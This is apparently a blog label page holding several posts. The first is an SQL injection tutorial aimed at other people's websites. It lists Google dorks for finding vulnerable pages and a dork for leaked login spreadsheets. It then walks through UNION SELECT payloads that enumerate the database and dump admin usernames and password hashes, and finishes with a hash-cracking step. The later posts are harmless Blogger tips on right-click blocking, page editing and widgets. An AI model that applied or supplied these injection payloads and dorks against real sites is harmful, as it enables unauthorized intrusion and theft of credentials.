-->
Showing posts with label Website. Show all posts
Showing posts with label Website. Show all posts

SQL Hacking

Uptill now,we have seen few terms related to hacking and some methods to hack passwords like phishing,keyloggers etc. Now we are moving a little forward.Now in this thread i m going to post something about SQL INJECTION. Its a type of hacking with the help of which we can hack sites (mostly the newly born sites and educational sites )


1). Search for a vulnerable site.
====================
Highlight one then press ctrl+c then ctrl+v at google search engine.

allinurl:index.php?id=
allinurl:trainers.php?id=
allinurl:buy.php?category=
allinurl:article.php?ID=
allinurl:play_old.php?id=
allinurl:newsitem.php?num=
allinurl:readnews.php?id=
allinurl:top10.php?cat=
allinurl:historialeer.php?num=
allinurl:reagir.php?num=
allinurl:Stray-Questions-View.php?num=
allinurl:forum_bds.php?num=
allinurl:game.php?id=
allinurl:view_product.php?id=
allinurl:newsone.php?id=
allinurl:sw_comment.php?id=
allinurl:news.php?id=
allinurl:avd_start.php?avd=
allinurl:event.php?id=
allinurl:product-item.php?id=
allinurl:sql.php?id=
allinurl:news_view.php?id=
allinurl:select_biblio.php?id=
allinurl:humor.php?id=
allinurl:aboutbook.php?id=
allinurl:ogl_inet.php?ogl_id=
allinurl:fiche_spectacle.php?id=
allinurl:communique_detail.php?id=
allinurl:sem.php3?id=
allinurl:kategorie.php4?id=
allinurl:news.php?id=
allinurl:index.php?id=
allinurl:faq2.php?id=
allinurl:show_an.php?id=
allinurl:preview.php?id=
allinurl:loadpsb.php?id=
allinurl:opinions.php?id=
allinurl:spr.php?id=
allinurl:pages.php?id=
allinurl:announce.php?id=
allinurl:clanek.php4?id=
allinurl:participant.php?id=
allinurl:download.php?id=
allinurl:main.php?id=
allinurl:review.php?id=
allinurl:chappies.php?id=
allinurl:read.php?id=
allinurl:prod_detail.php?id=
allinurl:viewphoto.php?id=
allinurl:article.php?id=
allinurl:person.php?id=
allinurl:productinfo.php?id=
allinurl:showimg.php?id=
allinurl:view.php?id=
allinurl:website.php?id=
allinurl:hosting_info.php?id=
allinurl:gallery.php?id=
allinurl:rub.php?idr=
allinurl:view_faq.php?id=
allinurl:artikelinfo.php?id=
allinurl:detail.php?ID=
allinurl:index.php?=
…and this one is just priceless…
“login: *” “password= *” filetype:xls




2)Definitions:
=========

inurl: -> is a search parameter in google so that it searches for results in the site's url.
.php?5= -> is what i'm searching for in a url, SQL INJECTION works by adding a code after the = symbol. This is also commonly referred as a Dork.
Dork definition: It's the part in the site's url that tells you that it can be vulnerable to a certain SQL injection. Let's take this exploit for example:
We will check it's vulnerability by adding magic qoute (') at the end of the url.
http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT login,password FROM dir_login--


3) So the url will be like this:
===================

http://www.site.com/news_archive.php?id=5'
And we hit enter and we got this result.
Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6\';
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)
Database error: next_record called with no query pending.
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)
If you got an error, some text missing or a blank page the site is vulnerable but not at all.
Now we know that the site is vulnerable.



4) find the columns :
=============

The next step is find out how many columns the database contain
To find it we use "order by" (without the qoute) and this string " -- " (no qoute).
It will look like this:
http://www.site.com/news_archive.php?id=6 order by 1-- (no error)
http://www.site.com/news_archive.php?id=6 order by 2-- (no error)
http://www.site.com/news_archive.php?id=6 order by 3-- (no error)
we move a little higher. (it doesn't matter)
http://www.site.com/news_archive.php?id=6 order by 10-- (no error)
http://www.site.com/news_archive.php?id=6 order by 14-- (no error)
until we got an error:
http://www.site.com/news_archive.php?id=6 order by 15-- (we got an error)
now we got an error on this column:it will lok like this.
Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6 order by 15--;
mySQL Error: 1054 (Unknown column '15' in 'order clause')
Database error: next_record called with no query pending.
mySQL Error: 1054 (Unknown column '15' in 'order clause')
this mean the database contain only 14 columns


5)Union select :
==========

Now use "-" (negative quote) and union select statement.
using this we can select more data in one sql statement.
Look like this:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14--
we hit enter.
numbers appears..
Like this:
6
, 5
8


6) Check MYSQL Version
================

Now we will check it's MYSQL VERSION. We will add @@version on the numbers appear on the previous step.
lemme say i choose 8.. we will replace 8 with @@version,so it will look like this.
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, @@version, 9, 10, 11, 12, 13, 14--
and you will get a result like this:
6
, 5
5.1.32 <--this is the version


7) Getting Table Name.
===============

We use group_concat(table_name).
replace @@version with group_concat(table_name)
and look like this:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14--
were not done already: (don't hit enter)
between number 14 and this "--" (quote) insert this:
+from+information_schema.tables+whe
re+table_schema=database()--
it will look like this:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_schema=database()--
we hit enter and got this result:
Blurb,FileUpload,Inquiries,NewsArticle,ProjectPhoto,active_sessions_split,auth_u ser_md5


8) Column Name :
============

Now we're done on TABLE NAME, we move on to COLUMN NAME.
use this string group_concat(column_name)
replace group_concat(table_name) to group_concat(column_name).
but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.
for better result we need to hex auth_user_md5.
Go to this Link: http://home2.paulschou.net/tools/xlate/
p
aste auth_user_md5 to the text box and click encode.
now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35
before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435
Now replace group_concat(table_name) to group_concat(column_name).
like this:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_schema=database()--
replace also +from+information_schema.tables+where+table_schema=database()--
to
+from+information_schema.columns+where+table_name=0x617574685f757365725f6d6435--
(The yellow letter and numbers is the auth_user_md5 hex we encoded)
Note: always add 0x before the hex. Like above.
Here is the result:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.columns+where+table_name=0x617574685f757365725f6d6435--
Now hit enter: and you got result like this.
UserID,Username,Password,Perms,FirstName,MiddleName,LastName,Position,EmailAddre ss,ContactNumbers,DateCreated,CreatedBy,DateModified,ModifiedBy,Status


9) Main part :
=========

We use 0x3a to obtain what we want from the DATABASE like pass, username, etc..etc..
Replace group_concat(column_name) to group_concat(UserID,0x3a,Username,0x3a,P
assword,0x3a,Perms,0x3a,FirstName,0x3a,M iddleName,0x3a,LastName,0x3a,Position,0x3a,EmailAddress,0x3a,ContactNumbers,0x3a ,DateCreated,0x3a,CreatedBy,0x3a,DateModified,0x3a,ModifiedBy,0x3aStatus)
but i prefer to do this one group_concat(Username,0x3a,Password) for less effort.
and replace also information_schema.columns+where+table_name=0x617574685f757365725f6d6435-- to +from+auth_user_md5--
617574685f757365725f6d6435 is the hex value of auth_user_md5 so we replace it.
Result look like this:
http://www.site.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7,group_concat(Username,0x3a,Password), 9, 10, 11, 12, 13, 14+from+auth_user_md5--
i hit enter we got this:
admin username: k2admin / admin
password in md5 hash:21232f297a57a5a743894a0e4a801fc3 / 97fda9951fd2d6c75ed53484cdc6ee2d


10)Cracking the password :
=================

Because the password is in md5 hash we need to crack it.
http://passcracking.com/index.php
pass
: x1R0zYB3bex
Read more >>

Geek Guru [Review]

Hey guys! Have you heard about GeekGuru? Wel, if you haven't, then lemme tell you, its a site which acts as a search engine for the articles related to hacking and other useful information.

Geek Guru Homepage

The site contains 6 pages in total.

Home
Its the page which contains the main search box. You can start from here.

Forums
Its the most important page of the site which is the most useful if you have any sort of technical queries related to hacking or any other doubts related to computers. You can just leave behind the question and it will be answered within 24 hours [checked]

Add your Site/ Blog
Do you own a website/blog? Have something which can prove helpful to the others? Then what are you waiting for?? Just get it listed officially! All you have to do is to visit this page and leave behind your contact and other important information which the admin will check out and very soon contact you if your website is eligible for GeekGuru. 

 Fun
Bored surfing through the net? Or wanna relax after writing/studying for an exam? This section will bring you the best in online flash games and the hacking tools are gonna be added very soon, as per the web designer.

About Us
This sections contains the info about the site in general. 

Contact Us
This tab will help you connect with the Facebook or Twitter fan page of the owner.

Impressed? Add your website now! Click Here

Read more >>

Disabling Right-Click On Your Website

Have you noticed some websites with the right-click disabled? Well. Thats really a great thing to do when you dont want the people to be able to see few of your HTML codes. For ex: Inspect Element in Google Chrome.
This fuction adds on a step to your privacy. Anyhow, this can't be said as the highest level of security and there is no bypass to it. But, as I said earlier, it just adds on a step. You can see this website as an example.

Here is the code which will help you out with the process described above.


<script language="JavaScript">
<!--
var message="Function Disabled!";

///////////////////////////////////
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("alert(message);return false")

// -->
</script>

Copy the above code and paste it in Dashboard > Layout > Add Gadget > HTML / JavaScript. 
Thats it! You are done. 
And yeah. Don't forget to drop down the comments!
Read more >>

Method to Enable Right Click On Websites

You probably may have come across some websites that doesn’t allow you to copy any content from there websites by blocking right click.When you press right click on these websites either you will get a prompt with some message or nothing will happen.Sometimes this is very annoying as you may need that content for your college project or some other urgent purpose.There are several workarounds to bypass this.
Trick on How To Enable Right Click on WebsitesI will tell you the best and the most simple trick.You don’t require any software or addon for this trick.Website that block the right click do it using a javascript code.If you block javascript code in your browser then your right click cannot be blocked. Here is the tutorial on How To Enable Right Click on Websites
If you are Using Internet Explorer Browser
  1. Goto Tools>Internet options>Security
  2. Now Click on Custom Level
  3. Now find Scripting Section it will be around the end.
  4. Now disable Active Scripting.This will disable JavaScript and vbscript in your browser.
  5. Click on OK.
  6. Now restart your browser
If you are Using Mozilla Firefox Browser
  1. Goto Tools>Options>Content
  2. Uncheck the box Enable JavaScript
  3. Click Ok
  4. Open the website that have blocked your right click.
If you are Using Google Chrome Browser
  1. Click on the Wrench Icon on the top right side on your browser.
  2. Click on Options
  3. Now goto Under the Hood tab
  4. Click on Content Setings and then on JavaScript
  5. Disable java script and open the website.
There are a lot of other tricks to bypass blocked right click.I have discussed the most basic trick that you can use anywhere without any special software.If you also want to share your trick then do comment.
Read more >>

Editing any Website (In Google's Chrome Browser)

In the previous post, I told you all how to edit any website using the Javascript.
Today, I will tell you a kinda advanced method to do that. This method is,till now, applicable for only the Google Chrome browser. I will take "Facebook" as an example and show you the steps to it.

1.  Open Facebook.com.
2. Decide the part of the page which you want to edit. Right-click that part and click Inspect Element.

Click to Enlarge.

3. Then, you will see the Inspect Element box popping out from the bottom of the screen. This is where you can edit the elements on the page like, text, pic url, etc.
Click to Enlarge
Note: Here I have taken the text "Facebook helps you connect and share with the people in your life."

4. Now double-click the code in the box and replace with the text of your choice!

Click to Enlarge


Read more >>

Create a Tabbed Content Widget for Blogger!

Tabbed content box or tab view is a great way to maximize the usage of precious screen real estate on your blog.
There are quite a few tutorials out there that show how to create tabs with CSS and jQuery. However, most of them require you to modify your blog template codes. On top of that you also have to manually add the content of each tab.
Fortunately, with this tutorial you don’t have to go to all that troubles. All you have to do is add our tabber code into a HTML/Javascript widget. Once added, it will transform your Blogger blog’s existing widgets into tabs, automatically!
See the demo here.
Below are some of the features of the tab content box:
  1. Accommodates unlimited number of widgets.
  2. Keeps the tabbed widgets’ original appearance.
  3. Fully widgetized for ease of installation and removal. If you don’t like what it does, simply remove the HTML/Javascript gadget.  

Installation

  1. Go to Design > Page Elements and click Add A Gadget.
  2. Select HTML/Javascript widget.
  3. Leave the title box blank.
  4. Copy the code below and paste it inside the content box. 
<style type="text/css">
.tabber {
 padding: 0px !important;
 border: 0 solid #bbb;
}
.tabber h2 {
 float: left;
 margin: 0 1px 0 0;
 font-size: 12px;
 padding: 3px 5px;
 border: 1px solid #bbb;
 margin-bottom: -1px; /*--Pull tab down 1px--*/
 overflow: hidden;
 position: relative;
 background: #e0e0e0;
 cursor:pointer;
 -moz-border-radius:5px 5px 0 0;
 border-radius:5px 5px 0 0;
}
html .tabber h2.active {
 background: #fff;
 border-bottom: 1px solid #fff; /*--"Connect" active tab to its content--*/
}
.tabber .widget-content {
 border: 1px solid #bbb;
 padding: 10px;
 background: #fff;
 clear:both;
 margin:0;
}
.codewidget, #codeholder {
 display:none;
}
</style>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
<script type="text/javascript" src="http://greenlava-code.googlecode.com/svn/trunk/publicscripts/bloggertabs0.1_min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
 $('#codeholder').bloggerTabber ({
  tabCount : 3
 });
});
</script>
<div id='codeholder'><p>Get this <a href="http://www.bloggersentral.com/2011/05/create-tabbed-content-blogger-widgets.html" target="_blank">widget</a></p></div> 
  1. Position the HTML/Javascript gadget above the gadgets that you want to tabify.
     tabbed contents view elements
  2. Click Save and view your blog.

 

Post-installation

  • Make sure you title each widget that you want to tabify. Tabber won’t work properly without widget titles.
  • Reduce tab widths so that all tabs fit into a single row. This can be achieved by using short widget titles.
  • You may need to reduce the widths of the tabified widgets to fit them into the box.
  • Don’t forget to test in Internet Explorer. This widget may cause “Operation aborted” error in IE for some non-designer templates. If that’s the case, this widget is not for you :(

Courtesy : BloggerCentral
Read more >>

Live chat with your visitors | A tool by Google!

This tool is invented by Google and is named 'Google chatback'. This service allows your customers to chat with you directly when you are online. The requirements by you is just an Gmail ID and your customers need nothing but your website URL! This is really a amazing and innovative idea by Google.

Actually the problem is that the users who visit your site are usually lazy [no harms intended ;)]. They dont like logging in or creating an ID to just talk to you, etc etc..

So the conclusion is, THIS IS A GREAT TOOL! Try it..
Read more >>